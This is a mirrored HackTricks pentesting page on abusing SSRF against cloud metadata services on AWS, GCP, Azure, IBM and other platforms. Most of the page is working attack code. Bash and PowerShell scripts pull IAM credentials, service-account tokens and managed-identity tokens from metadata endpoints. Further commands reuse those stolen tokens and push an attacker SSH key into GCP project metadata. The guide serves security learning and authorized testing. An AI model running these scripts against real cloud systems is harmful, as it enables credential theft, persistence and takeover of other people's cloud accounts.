Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-12-24 03:53:29 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md
Carlos Polop 6be43c15e9 Recreating repository history
2024-12-12 11:39:29 +01:00

652 lines
31 KiB
Markdown
Raw Blame History

# Cloud SSRF
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## AWS
### Abusing SSRF in AWS EC2 environment
**The metadata** endpoint can be accessed from inside any EC2 machine and offers interesting information about it. It's accesible in the url: `http://169.254.169.254` ([information about the metadata here](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
There are **2 versions** of the metadata endpoint. The **first** one allows to **access** the endpoint via **GET** requests (so any **SSRF can exploit it**). For the **version 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), you need to ask for a **token** sending a **PUT** request with a **HTTP header** and then use that token to access the metadata with another HTTP header (so it's **more complicated to abuse** with a SSRF).
{% hint style="danger" %}
Note that if the EC2 instance is enforcing IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), the **response of the PUT request** will have a **hop limit of 1**, making impossible to access the EC2 metadata from a container inside the EC2 instance.
Moreover, **IMDSv2** will also **block requests to fetch a token that include the `X-Forwarded-For` header**. This is to prevent misconfigured reverse proxies from being able to access it.
{% endhint %}
You can find information about the [metadata endpoints in the docs](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). In the following script some interesting information is obtained from it:
```bash
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"
aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""
echo ""
echo "Account Info"
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""
echo ""
echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done
echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done
echo ""
echo "User Data"
# Search hardcoded credentials
eval $aws_req "http://169.254.169.254/latest/user-data"
echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
```
As a **publicly available IAM credentials** exposed example you can visit: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
You can also check public **EC2 security credentials** in: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
You can then take **those credentials and use them with the AWS CLI**. This will allow you to do **anything that role has permissions** to do.
To take advantage of the new credentials, you will need to crate a new AWS profile like this one:
```
[profilename]
aws_access_key_id = ASIA6GG71[...]
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
```
Notice the **aws\_session\_token**, this is indispensable for the profile to work.
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) can be used with the discovered credentials to find out your privileges and try to escalate privileges
### SSRF in AWS ECS (Container Service) credentials
**ECS**, is a logical group of EC2 instances on which you can run an application without having to scale your own cluster management infrastructure because ECS manages that for you. If you manage to compromise service running in **ECS**, the **metadata endpoints change**.
If you access _**http://169.254.170.2/v2/credentials/\<GUID>**_ you will find the credentials of the ECS machine. But first you need to **find the \<GUID>**. To find the \<GUID> you need to read the **environ** variable **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** inside the machine.\
You could be able to read it exploiting an **Path Traversal** to `file:///proc/self/environ`\
The mentioned http address should give you the **AccessKey, SecretKey and token**.
```bash
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
```
{% hint style="info" %}
Note that in **some cases** you will be able to access the **EC2 metadata instance** from the container (check IMDSv2 TTL limitations mentioned previously). In these scenarios from the container you could access both the container IAM role and the EC2 IAM role.
{% endhint %}
### SSRF for AWS Lambda <a href="#id-6f97" id="id-6f97"></a>
In this case the **credentials are stored in env variables**. So, to access them you need to access something like **`file:///proc/self/environ`**.
The **name** of the **interesting env variables** are:
* `AWS_SESSION_TOKEN`
* `AWS_SECRET_ACCESS_KEY`
* `AWS_ACCES_KEY_ID`
Moreover, in addition to IAM credentials, Lambda functions also have **event data that is passed to the function when it is started**. This data is made available to the function via the [runtime interface](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) and could contain **sensitive** **information** (like inside the **stageVariables**). Unlike IAM credentials, this data is accessible over standard SSRF at **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
{% hint style="warning" %}
Note that **lambda credentials** are inside the **env variables**. So if the **stack trace** of the lambda code prints env vars, it's possible to **exfiltrate them provoking an error** in the app.
{% endhint %}
### SSRF URL for AWS Elastic Beanstalk <a href="#id-6f97" id="id-6f97"></a>
We retrieve the `accountId` and `region` from the API.
```
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
We then retrieve the `AccessKeyId`, `SecretAccessKey`, and `Token` from the API.
```
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
![](https://miro.medium.com/max/60/0*4OG-tRUNhpBK96cL?q=20) ![](https://miro.medium.com/max/1469/0*4OG-tRUNhpBK96cL)
Then we use the credentials with `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.
## GCP <a href="#id-6440" id="id-6440"></a>
You can [**find here the docs about metadata endpoints**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata).
### SSRF URL for Google Cloud <a href="#id-6440" id="id-6440"></a>
Requires the HTTP header **`Metadata-Flavor: Google`** and you can access the metadata endpoint in with the following URLs:
* http://169.254.169.254
* http://metadata.google.internal
* http://metadata
Interesting endpoints to extract information:
```bash
# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true
# /oslogin
# users
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
# groups
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
# security-keys
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
# authorize
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize
# /instance
# Description
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo " IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo " Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo " Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo " DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo " Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo " ============== "
done
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
done
# K8s Attributtes
## Cluster location
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
## Cluster name
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
## Os-login enabled
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
## Kube-env
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
## Kube-labels
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
## Kubeconfig
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig
# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
```
Beta does NOT require a header atm (thanks Mathias Karlsson @avlidienbrunn)
```
http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
```
{% hint style="danger" %}
In order to **use the exfiltrated service account token** you can just do:
```bash
# Via env vars
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
gcloud projects list
# Via setup
echo "<token>" > /some/path/to/token
gcloud config set auth/access_token_file /some/path/to/token
gcloud projects list
gcloud config unset auth/access_token_file
```
{% endhint %}
### Add an SSH key <a href="#id-3e24" id="id-3e24"></a>
Extract the token
```
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
```
Check the scope of the token (with the previous output or running the following)
```bash
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}
```
Now push the SSH key.
{% code overflow="wrap" %}
```bash
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
```
{% endcode %}
### Cloud Functions <a href="#id-9f1f" id="id-9f1f"></a>
The metadata endpoint works the same as in VMs but without some endpoints:
```bash
# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# /instance
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# Auto MTLS config
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
done
```
## Digital Ocean <a href="#id-9f1f" id="id-9f1f"></a>
{% hint style="warning" %}
There isn't things like AWS Roles or GCP service account, so don't expect to find metadata bot credentials
{% endhint %}
Documentation available at [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
```
curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq
```
## Azure <a href="#cea8" id="cea8"></a>
### Azure VM
[**Docs** in here](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux).
* **Must** contain the header `Metadata: true`
* Must **not** contain an `X-Forwarded-For` header
{% hint style="success" %}
An Azure VM can have attached 1 system managed identity and several user managed identities. Which basically means that you can **impersonate all the managed identities attached to a VM**.
By **default**, the metadata endpoint will use the **system assigned MI (if any)**.
Unfortunately I couldn't find any metadata endpoint indicating all the MIs a VM has attached.
Therefore, to find all the attached MIs you can do:
* Get **attached identities with az cli** (if you have already compromised a principal in the Azure tenant)
{% code overflow="wrap" %}
```bash
az vm identity show \
--resource-group <rsc-group> \
--name <vm-name>
```
{% endcode %}
* Get **attached identities** using the default attached MI in the metadata:
{% code overflow="wrap" %}
```bash
export API_VERSION="2021-12-13"
# Get token from default MI
export TOKEN=$(curl -s -H "Metadata:true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
| jq -r '.access_token')
# Get needed details
export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \
"http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \
"http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
export VM_NAME=$(curl -s -H "Metadata:true" \
"http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')
# Try to get attached MIs
curl -s -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
```
{% endcode %}
* **Get all** the defined managed identities in the tenant and **brute force** to see if any of them is attached to the VM:
```bash
az identity list
```
{% endhint %}
{% hint style="danger" %}
In the token requests use any of the parameters `object_id`, `client_id` or `msi_res_id` to indicate the managed identity you want to use ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). If none, the **default MI will be used**.
{% endhint %}
{% tabs %}
{% tab title="Bash" %}
{% code overflow="wrap" %}
```bash
HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions
echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"
echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"
echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"
echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"
echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"
echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"
```
{% endcode %}
{% endtab %}
{% tab title="PS" %}
```bash
# Powershell
Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
## User data
$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))
# Paths
/metadata/instance?api-version=2017-04-02
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
/metadata/instance/compute/userData?api-version=2021-01-01&format=text
```
{% endtab %}
{% endtabs %}
### Azure App Service
From the **env** you can get the values of `IDENTITY_HEADER` _and_ `IDENTITY_ENDPOINT`. That you can use to gather a token to speak with the metadata server.
Most of the time, you want a token for one of these resources:
* [https://storage.azure.com](https://storage.azure.com/)
* [https://vault.azure.net](https://vault.azure.net/)
* [https://graph.microsoft.com](https://graph.microsoft.com/)
* [https://management.azure.com](https://management.azure.com/)
```bash
# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT
# You should also be able to find the folder:
ls /opt/microsoft
#and the file
ls /opt/microsoft/msodbcsql17
# Get management token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
# API
# Get Subscriptions
URL="https://management.azure.com/subscriptions?api-version=2020-01-01"
curl -H "Authorization: $TOKEN" "$URL"
# Get current permission on resources in the subscription
URL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"
curl -H "Authorization: $TOKEN" "$URL"
# Get permissions in a VM
URL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"
curl -H "Authorization: $TOKEN" "$URL"
```
```powershell
# API request in powershell to management endpoint
$Token = 'eyJ0eX..'
$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value
# API request to graph endpoint (get enterprise applications)
$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value
# Using AzureAD Powershell module witho both management and graph tokens
$token = 'eyJ0e..'
$graphaccesstoken = 'eyJ0eX..'
Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc
# Try to get current perms over resources
Get-AzResource
## The following error means that the user doesn't have permissions over any resource
Get-AzResource : 'this.Client.SubscriptionId' cannot be null.
At line:1 char:1
+ Get-AzResource
+ ~~~~~~~~~~~~~~
+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException
+ FullyQualifiedErrorId :
Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
```
## IBM Cloud <a href="#id-2af0" id="id-2af0"></a>
{% hint style="warning" %}
Note that in IBM by default metadata is not enabled, so it's possible that you won't be able to access it even if you are inside an IBM cloud VM
{% endhint %}
{% code overflow="wrap" %}
```bash
export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`
# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq
# Get SSH keys info
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq
# Get SSH keys fingerprints & user data
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq
# Get placement groups
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq
# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
```
{% endcode %}
Documentation for various platforms' metadata services is outlined below, highlighting the methods through which configuration and runtime information for instances can be accessed. Each platform offers unique endpoints to access its metadata services.
## Packetcloud
For accessing Packetcloud's metadata, the documentation can be found at: [https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
## OpenStack/RackSpace
The necessity for a header is not mentioned. Metadata can be accessed through:
* `http://169.254.169.254/openstack`
## HP Helion
The necessity for a header is not mentioned here either. Metadata is accessible at:
* `http://169.254.169.254/2009-04-04/meta-data/`
## Oracle Cloud
Oracle Cloud provides a series of endpoints for accessing various metadata aspects:
* `http://192.0.0.192/latest/`
* `http://192.0.0.192/latest/user-data/`
* `http://192.0.0.192/latest/meta-data/`
* `http://192.0.0.192/latest/attributes/`
## Alibaba
Alibaba offers endpoints for accessing metadata, including instance and image IDs:
* `http://100.100.100.200/latest/meta-data/`
* `http://100.100.100.200/latest/meta-data/instance-id`
* `http://100.100.100.200/latest/meta-data/image-id`
## Kubernetes ETCD
Kubernetes ETCD can hold API keys, internal IP addresses, and ports. Access is demonstrated through:
* `curl -L http://127.0.0.1:2379/version`
* `curl http://127.0.0.1:2379/v2/keys/?recursive=true`
## Docker
Docker metadata can be accessed locally, with examples given for container and image information retrieval:
* Simple example to access containers and images metadata via the Docker socket:
* `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
* Inside the container, use curl with the Docker socket:
* `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
* `curl --unix-socket /var/run/docker.sock http://foo/images/json`
## Rancher
Rancher's metadata can be accessed using:
* `curl http://rancher-metadata/<version>/<path>`
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
